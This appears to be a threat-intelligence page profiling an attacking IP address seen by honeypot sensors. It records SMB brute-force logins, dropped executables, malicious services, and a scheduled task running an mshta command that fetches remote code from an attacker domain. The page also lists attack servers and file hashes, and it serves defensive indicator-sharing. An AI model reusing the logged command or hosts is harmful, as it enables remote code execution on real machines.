Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 92.99.84.182Malicious

IP Address: 92.99.84.182Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Access Share Access Suspicious Domain Successful SMB Login Service Creation Service Start CMD MSSQL Scheduled Task Creation DNS Query File Operation By CMD SMB Service Stop SMB Share Connect Download and Execute Service Deletion Download File SMB Brute Force Execute from Share

Associated Attack Servers

t.amynx.com w.zz3r0.com

117.196.50.50 124.6.1.35 211.181.237.46

Basic Information

IP Address

92.99.84.182

Domain

-

ISP

-

Country

United Arab Emirates

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-06-30

Last seen in Akamai Guardicore Segmentation

2023-07-21

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

Successful SMB Login SMB Brute Force

C:\uptZvwXw.exe was downloaded

Download File

C:\ZkSrDSfH.exe was downloaded

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

uptzvwxw.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\uptzvwxw.exe as a service named xuJX under service group None

Service Start Service Creation

mmcxenvt.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\mmcxenvt.exe as a service named kPFN under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

Successful SMB Login SMB Brute Force

Service kPFN was stopped

Service Stop

The file C:\WINDOWS\VFEzMMOn.exe was downloaded and executed

Download and Execute

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

c:\windows\system32\services.exe installed and started %systemroot%\vfezmmon.exe as a service named Oowi under service group None

Service Start Service Creation

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

Access Suspicious Domain DNS Query

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

The command line c:\windows\evnuZwKQ.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Service Oowi was stopped

Service Stop

The command line c:\windows\VqRUDZXY.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

A user logged in using SMB from NULL with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

bnvdbopa.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\bnvdbopa.exe as a service named vskZ under service group None

Service Start Service Creation

Connection was closed due to timeout

Associated Files

\\server-backup\c$\oekzfunh.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\ejHczJdy.exe

SHA256: de05d19e7b20ab19562313ec056525c0caff3f4564c480d1171354db19a83ea7

56320 bytes

C:\HOoklKaS.exe

SHA256: 191141665fe203f0e692001d11d2d6471ad7c5b42ca28a904c4b797bc986cf83

56320 bytes

C:\vLbFwfOo.exe

SHA256: 9d427ac6f08aa94deec495952edebb818b7a2a74774c5d4695074ec0a3ae5585

56320 bytes